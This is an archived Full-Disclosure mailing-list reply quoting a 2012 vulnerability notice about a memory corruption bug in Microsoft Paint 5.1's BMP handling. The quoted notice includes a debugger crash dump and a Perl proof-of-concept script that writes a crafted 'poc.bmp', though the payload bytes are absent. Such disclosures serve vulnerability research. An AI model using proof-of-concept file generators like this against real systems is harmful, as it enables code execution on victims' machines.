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Re: Microsoft Paint 5.1 memory corruption
From: Antony widmal <antony.widmal () gmail com>
Date: Tue, 30 Oct 2012 02:57:05 -0400
Sir yes Sir. On Tue, Oct 30, 2012 at 2:53 AM, kaveh ghaemmaghami < kavehghaemmaghami () googlemail com> wrote:
Antony if u wanna do my home work i suggest you to find the offset where cause the crash change some byte and play with come back when there is not "second chance" ,instruction is not valid and it references not valid data. Instead of spamming On Sat, Oct 27, 2012 at 3:14 PM, kaveh ghaemmaghami <kavehghaemmaghami () googlemail com> wrote:Hello list! I want to warn you about Microsoft Paint 5.1 memory corruption Be safe Kaveh Ghaemmaghami aka (coolkaveh)----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------#!/usr/bin/perl #Title : Microsoft Paint 5.1 memory corruption #Version : build 2600.xpsp Service Pack3 #Date : 2012-10-21 #Vendor : http://www.microsoft.com #Impact : Med/High #Contact : coolkaveh [at] rocketmail.com #Twitter : @coolkaveh #tested : XP SP3 ENG #Author : coolkaveh########################################################################################################Notice : for testing POC please run the Microsoft Pain under a debugger and then open the POC file. #---- #Bug : #---- #Memory corruption during the handling of the bmp files a context-dependent attacker can execute arbitrary code.########################################################################################################(844.cc4): Break instruction exception - code 80000003 (first chance) #eax=7ffda000 ebx=00000001 ecx=00000002 edx=00000003 esi=00000004edi=00000005#eip=7c90120e esp=00faffcc ebp=00fafff4 iopl=0 nv up ei pl zr nape nc#cs=001b ss=0023 ds=0023 es=0023 fs=0038 gs=0000efl=00000246#*** ERROR: Symbol file could not be found. Defaulted to export symbols for C:\WINDOWS\system32\ntdll.dll - #ntdll!DbgBreakPoint: #7c90120e cc int 3 #0:005> g #(844.e20): Access violation - code c0000005 (first chance) #First chance exceptions are reported before any exception handling. #This exception may be expected and handled. #eax=000cab68 ebx=00000000 ecx=00000276 edx=000009d8 esi=000d5589edi=000cab68#eip=77f2f118 esp=0007ef30 ebp=0007efb0 iopl=0 nv up ei pl nz napo nc#cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000efl=00010202#*** ERROR: Symbol file could not be found. Defaulted to export symbols for C:\WINDOWS\system32\GDI32.dll - #GDI32!DdEntry11+0x44: #77f2f118 f3a5 rep movs dword ptr es:[edi],dword ptr [esi] #0:000> k #*** ERROR: Module load completed but symbols could not be loaded for C:\WINDOWS\system32\mspaint.exe #ChildEBP RetAddr #WARNING: Stack unwind information not available. Following frames maybe wrong.#0007efb0 0101235e GDI32!DdEntry11+0x44 #0007f024 0100a666 mspaint+0x1235e #0007f04c 0102284e mspaint+0xa666 #0007f07c 01022af6 mspaint+0x2284e #*** ERROR: Symbol file could not be found. Defaulted to export symbols for C:\WINDOWS\system32\MFC42u.DLL - #0007f100 5f801bc5 mspaint+0x22af6 #0007f120 5f801b36 MFC42u!Ordinal6370+0x22 #0007f180 5f802f6c MFC42u!Ordinal1108+0x91 #0007f1a4 5f810971 MFC42u!Ordinal5801+0x34 #0007f210 5f81424a MFC42u!Ordinal3944+0x5b #0007f2b0 7c911066 MFC42u!Ordinal5190+0x14d #0007f2b4 7c9101bb ntdll!wcsncpy+0xb07 #0007f2c8 7c910202 ntdll!RtlAllocateHeap+0x117 #0007f2f4 7c910202 ntdll!RtlAllocateHeap+0x15e #0007f2f8 7c91017b ntdll!RtlAllocateHeap+0x15e #0007f2fc 7c9101bb ntdll!RtlAllocateHeap+0xd7 #0007f300 00000000 ntdll!RtlAllocateHeap+0x117#####################################################################################################################my $poc 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open(C, ">:raw", "poc.bmp"); print C $poc; close(C);_______________________________________________ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
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Current thread:
- Microsoft Paint 5.1 memory corruption kaveh ghaemmaghami (Oct 27)
- Re: Microsoft Paint 5.1 memory corruption Yuhong Bao (Oct 29)
- Re: Microsoft Paint 5.1 memory corruption kaveh ghaemmaghami (Oct 29)
- Re: Microsoft Paint 5.1 memory corruption Antony widmal (Oct 29)
- Re: Microsoft Paint 5.1 memory corruption kaveh ghaemmaghami (Oct 29)
- Re: Microsoft Paint 5.1 memory corruption Antony widmal (Oct 29)
- Re: Microsoft Paint 5.1 memory corruption Peter Ferrie (Oct 30)
- Re: Microsoft Paint 5.1 memory corruption kaveh ghaemmaghami (Oct 30)